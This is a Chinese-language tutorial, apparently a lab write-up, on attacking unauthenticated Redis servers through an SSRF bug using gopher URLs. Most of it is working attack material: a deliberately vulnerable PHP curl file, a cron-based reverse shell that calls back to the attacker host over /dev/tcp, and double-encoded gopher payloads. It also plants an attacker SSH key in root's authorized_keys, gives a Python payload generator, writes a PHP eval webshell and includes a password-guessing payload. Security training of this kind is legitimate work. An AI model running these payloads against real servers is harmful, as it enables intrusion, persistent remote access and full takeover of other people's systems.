环境准备
Kali Linux/Centos7 都是在VM虚拟机上
功能 | 系统 | IP |
---|---|---|
客户端 | Kali Linux | 192.168.231.140 |
服务端 | Centos7 | 192.168.231.141 |
建议先去菜鸟教程上学习一下redis命令
Redis安装
Redis是一个高性能的 key-value 数据库。
Centos7
redis是用 C 语言开发,安装之前必先确认是否安装 gcc 环境。(gcc -v 可查看)
yum install -y gcc
下载并解压安装包
wget http://download.redis.io/releases/redis-5.0.3.tar.gz
tar -zxvf redis-5.0.3.tar.gz
cd切换到redis解压目录下,执行编译
cd redis-5.0.3
make
安装并指定安装目录
make install PREFIX=/usr/local/redis
启动redis
cd /usr/local/redis/bin/
./redis-server
Kali Linux
- 安装命令
apt-get install redis-server
如果下载速度慢请在/etc/apt/sources.list
更换镜像
- 镜像
deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
启动redis
service redis-server start
远程访问redis
修改redis.conf(如果不修改,不可远程登录)
vim /etc/redis/redis.conf
# 注释掉以下内容
bind 127.0.0.1
# 保护模式,关闭保护模式,否则外部ip无法连接
protected-mode no
以防万一,在服务端设置一下iptables规则,允许外部访问6379端口。(此命令临时生效,重启后失效)
iptables -I INPUT 1 -p tcp -m state --state NEW -m tcp --dport 6379 -j ACCEPT
- 客户端连接redis
redis-cli -h 192.168.231.141 -p 6379
Redis传输方式
redis支持两种传输协议,一种是明文传输,其命令如下:
SET keyname value\n
另一种是经过编码的传输协议:
*3\r\n$3\r\nset\r\n$7\r\nkeyname\r\n$5\r\nvalue\r\n
通过一个实验来解释一下:
使用tcpdump来抓包,在Centos7
执行以下命令
tcpdump -i ens33 port 6379 -w redis.pcap
-i:指定网卡为ens33
port:指定抓哪个端口的数据
-w:将流量包保存为文件
用Kali Linux
连接redis
,依次执行set a a
、get a
然后在Centos7
按ctrl+c
关闭tcpdump
,完成抓包,得到文件redis.pcap
用wireshark
打开redis.pcap
,随便选择一行数据右键点击追踪流->TCP流
参数解释:
*3 表示3个参数
$3 第一个参数的长度
set 第一个参数的值 (要执行的Command = set)
$1 第二个参数的长度
a 第二个参数的值 (a)
$1 第三个参数的长度
a 第三个参数的值 (a)
+OK 执行结果
*2 表示2个参数
$3 第一个参数的长度
get 第一个参数的值 (要执行的Command = get)
$1 第二个参数的长度
a 第二个参数的值 (a)
a 执行结果
gopher+redis
因为gopher
是基于tcp
的,能发送tcp数据流,所以可以利用gopher
来发送redis
命令,这需要将redis
命令修改为正确的格式。(gopher格式在SSRF漏洞详解讲过,这里就不讲了)
先设置一个key-value
对:set name abc
构造一个gopher
请求来获取name
,(用到的redis命令是:get name)
有两种方式:
- 第一
curl gopher://192.168.231.141:6379/_get%20name%0d%0a
- 第二
curl gopher://192.168.231.140:6379/_*2
$3
get
$4
name
进行url编码
curl gopher://192.168.231.141:6379/_*2%0d%0a%243%0d%0aget%0d%0a%244%0d%0aname%0d%0a
两种方法都成功执行get name
命令获取到了name
的值
ssrf+gopher+redis
原理
ssrf
中利用gopher协议
的方法在这里已经讲过,不懂的先去看这篇文章
一个存在SSRF漏洞的php文件
//test.php
<?php
$url = $_GET['url'];
echo $url."<br>";
$curlobj = curl_init($url);
echo curl_exec($curlobj);
?>
在Linux命令行中执行以下命令来查看Redis命令执行记录:(在redis服务器上执行,我这里是Centos7上执行)
redis-cli -h 127.0.0.1 monitor
执行过上面命令后依次访问下面两个url
执行的redis命令是
set a a
http://192.168.231.141/test.php?url=gopher://192.168.231.141:6379/_set%2520a%2520a%250d%250a
执行的redis命令是
get a
http://192.168.231.141/test.php?url=gopher://192.168.231.141:6379/_get%2520a%250d%250a
查看浏览器反应
- 一直转圈圈,然后出现
504 Gateway Time-out
,不确定到底执行了传入的redis命令没有
查看Redis命令执行记录。(有时候会执行,有时候不执行,不稳定,如果不行就重启redis)
虽然在浏览器里面没有回显,但是 redis服务器 已经执行了上面两条命令,所以可以通过 ssrf 让 redis服务器执行命令。
Redis未授权访问攻击
前提是redis没有设置密码
用到的几个redis命令
//获取redis安装目录
config get dir
//获取备份文件名
config get dbfilename
//修改redis安装目录
config set dir <目录>
//修改备份文件名
config set dbfilename <文件名>
反弹shell
反弹shell命令。(攻击机IP为192.168.231.140,这个需要根据你自己的IP修改)
set mars "\n* * * * * root bash -i >& /dev/tcp/192.168.231.140/9999 0>&1\n"
config set dir /etc/
config set dbfilename crontab
save
上述命令的含义总结为,利用Redis的备份功能,将crontab的定时任务备份到/etc/crontab中,起到执行命令的效果,因为Linux会监测/etc/crontab的内容,当我们将反弹shell的命令加入进去后,便会被执行,具体解释如下:
# 添加名为mars的key,值为后面反弹shell的语句,是crontab定时命令,有六个参数,前面5个星号代表每分钟执行一次,开始和结束的\n必须要有一个,也多个可以,主要是为了避免crontab的语法错误。crontab知识可以参考:[Linux Crontab 定时任务](https://www.runoob.com/w3cnote/linux-crontab-tasks.html "Linux Crontab 定时任务")
set mars "\n* * * * * root bash -i >& /dev/tcp/192.168.231.140/9999 0>&1\n"
# 设置备份的路径为/etc
config set dir /etc/
# 在/etc/目录下创建一个RDB(可以理解为redis database)备份文件
config set dbfilename crontab
# 开始备份
save
简单测试
先不利用ssrf,在redis里手动测试一下,看看能不能成功反弹shell
反弹shell需要在攻击机起一个监听nc -lp 9999
然后连接redis,执行上面的反弹shell命令
然后等待,但是 nc 却一直没有反应,可能是 /etc/crontab 没有执行定时任务,换一个反弹shell命令试一试。
(/var/spool/cron/ 目录下存放的也是定时任务)
set mars "\n* * * * * bash -i >& /dev/tcp/192.168.231.140/9999 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
等待一分钟后成功反弹shell
写定时任务
我们要做的就是利用SSRF
让redis
服务器执行这些命令
格式
http://192.168.231.141/test.php?url=gopher://192.168.231.140:6379/_命令
命令不能直接照搬,需要进行两次url编码
set%2520mars%2520%2522%255Cn*%2520*%2520*%2520*%2520*%2520bash%2520-i%2520%253E%2526%2520%252Fdev%252Ftcp%252F192.168.231.140%252F9999%25200%253E%25261%255Cn%2522%250d%250aconfig%2520set%2520dir%2520%252Fvar%252Fspool%252Fcron%252F%250d%250aconfig%2520set%2520dbfilename%2520root%250d%250asave
两者结合就是
http://192.168.231.141/test.php?url=gopher://192.168.231.141:6379/_set%2520mars%2520%2522%255Cn*%2520*%2520*%2520*%2520*%2520bash%2520-i%2520%253E%2526%2520%252Fdev%252Ftcp%252F192.168.231.140%252F9999%25200%253E%25261%255Cn%2522%250d%250aconfig%2520set%2520dir%2520%252Fvar%252Fspool%252Fcron%252F%250d%250aconfig%2520set%2520dbfilename%2520root%250d%250asave
在攻击机起一个监听nc -lp 9999
,然后访问 url ,等待一分钟后成功反弹shell
写ssh-keygen公钥
在上面 反弹shell 内容中讲了如何使用Redis的数据备份将系统命令写入定时任务文件然后执行命令,接下来讲解通过写入ssh-keygen公钥,然后使用私钥登录。思路还是利用备份,将私钥字符串备份到目标服务器.ssh目录下。
利用条件
1. Redis要暴露在公网上
2. Redis要没有设置密码
3. Redis要是以root的权限启动的
4. 服务器开放了SSH服务,而且允许使用密钥登录
开启ssh
可能在服务器上没有/root/.ssh
目录,这是因为 .ssh 是记录密码信息的文件夹,如果没有登录过 root 的话,就没有 .ssh 文件夹,因此登录 localhost ,并输入密码就会生成了。
解决方法:执行以下命令
示例:
攻击步骤
1.首先在本地生成一对密钥。(注意是在攻击机上,我这里是 Kali Linux)
命令:
ssh-keygen -t rsa
生成的文件在/root/.ssh
目录,id_rsa
是私钥、id_rsa.pub
是公钥
2.查看公钥
cat id_rsa.pub
这是公钥:
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC7Z4jpQDYoyv/qx3GfrwnDKIdVg9g9PNj8fxbkArtBipBVm7Yf3fGbMKos9/4wgS4+zTa6bvTf8qDS2Wz3TDDOVPZSE/bZvSumm8PWnsCQdAM40lvVfLiVLjz+l5g353eW/1KGPtQ9db+faRk8Up0wgpo9IpKPa8o9C7VfCL3VcLKrfE/fyXCr6u8XElJA+teoubNwdonrKI39+IM6yPwg1Pdp6QfbrTH2G1E1YZnVYRLHGG4oWKK3tQDF38Y8biwqwwYKpUOAA0QuDSqv3VgXN0bDKIOP9o+Do+U6tIgJfJmvddU3v4QKvkgSFNAS+UQFyuifaUnYG+vOsKgXVNZXWUrI3s7ZD6/8/UeHEtdolGP8pR3vgiDwhGr0CFyvJBn2gWzBD1+s/OxhvaHNm6Wi2gppz/lyJHdl9SI8zGPFxrw2FKTyI+itKwApwxTSk1uSo6/iLnlmOo7vPHpc9qtzt+g+g6Ng+dZtwLjBGZzNone0XUOfckzmqiBjqhqD/xU= root@kali
将.ssh目录下的公钥文件保存到1.txt
,并且在前后加上换行,目的是分隔公钥与其他字符串
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt
将公钥文件1.txt
通过redis-cli客户端写入到目标主机缓存中
cat /root/.ssh/1.txt | redis-cli -h 192.168.231.141 -x set key
3.使用Redis的备份功能,将公钥传到目标服务器/root/.ssh/authorized_keys
文件中。
命令:
config set dir /root/.ssh/config set dbfilename authorized_keyssave
4.使用 ssh 连接服务器。(id_rsa 是私钥)
ssh -i id_rsa 192.168.231.141
不用密码就直接连接上了
拓展
如果外网不能连接 redis,怎么办?答案是利用 ssrf
上面都是手动测试,这次利用脚本来测试
import requestsurl = "http://192.168.231.141/test.php?url="gopher = "gopher://192.168.231.141:6379/_"# redis命令 ,注意转义 \n 中的 \command = '''config set dir /root/.ssh/config set dbfilename authorized_keysset key "\\n\\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC7Z4jpQDYoyv/qx3GfrwnDKIdVg9g9PNj8fxbkArtBipBVm7Yf3fGbMKos9/4wgS4+zTa6bvTf8qDS2Wz3TDDOVPZSE/bZvSumm8PWnsCQdAM40lvVfLiVLjz+l5g353eW/1KGPtQ9db+faRk8Up0wgpo9IpKPa8o9C7VfCL3VcLKrfE/fyXCr6u8XElJA+teoubNwdonrKI39+IM6yPwg1Pdp6QfbrTH2G1E1YZnVYRLHGG4oWKK3tQDF38Y8biwqwwYKpUOAA0QuDSqv3VgXN0bDKIOP9o+Do+U6tIgJfJmvddU3v4QKvkgSFNAS+UQFyuifaUnYG+vOsKgXVNZXWUrI3s7ZD6/8/UeHEtdolGP8pR3vgiDwhGr0CFyvJBn2gWzBD1+s/OxhvaHNm6Wi2gppz/lyJHdl9SI8zGPFxrw2FKTyI+itKwApwxTSk1uSo6/iLnlmOo7vPHpc9qtzt+g+g6Ng+dZtwLjBGZzNone0XUOfckzmqiBjqhqD/xU= root@kali\\n\\n"savequit'''def encoder_url(data): encoder = "" for single_char in data: # 先转为ASCII encoder += str(hex(ord(single_char))) encoder = encoder.replace("0x", "%").replace("%a", "%0d%0a") return encoder# 将 redis命令 二次编码encoder = encoder_url(encoder_url(command))# 生成payloadpayload = url + gopher + encoderprint(payload)# 发起请求result = requests.get(url=payload)
然后在攻击机上就可以使用 ssh 无密码连接服务器
写webshell
原理还是利用Redis的备份功能,只不过这次是备份一个webshell。
我使用的是phpstudy集成环境,不懂phpstudy的建议先去学习怎么使用phpstudy
利用条件
- 当前运行redis的用户在web目录有写权限
- 知道web目录的绝对路径(不然无法用蚁剑等工具连接)
方法
直接利用前面的 python 脚本
将 command 修改为以下内容:(注意修改 dir 路径,这里是我的 phpstudy 站点目录 )
'''
config set dir /www/admin/localhost_80/wwwroot
config set dbfilename getshell.php
set webshell "\\n<?php eval($\_POST['flag']);?>\\n"
save
quit
'''
上面命令意思是往/www/admin/localhost_80/wwwroot/getshell.php
中写入<?php eval($\_POST['flag']);?>
然后用蚁剑连接
Redis认证攻击
以上为Redis未授权访问攻击,redis 没有密码,但如果Redis设置了密码怎么办呢?
设置密码
先学习怎么给 redis 设置密码。有两种方法:
执行以下命令:
config set requirepass 123456
打开 redis.conf,找到以下内容,去掉
#
,然后密码就是foobared
,可以随意更改为其他#requirepass foobared
使用密码登录
auth + 密码
auth 123456
暴力破解
payload
http://192.168.231.141/test.php?url=gopher://192.168.231.141:6379/_auth%2520rootroot%250d%250a
总结
- 上面讲的主要是通过 ssrf 来攻击 redis,因为一般 redis 不允许外网连接,利用 ssrf 可以打进内网。
- 未授权访问攻击都利用了备份文件,将利用代码或内容写入特定文件,让系统执行。不足之处是这样要有较高的权限能够在特定目录下写文件,真实环境下难以利用。
- 参考文章: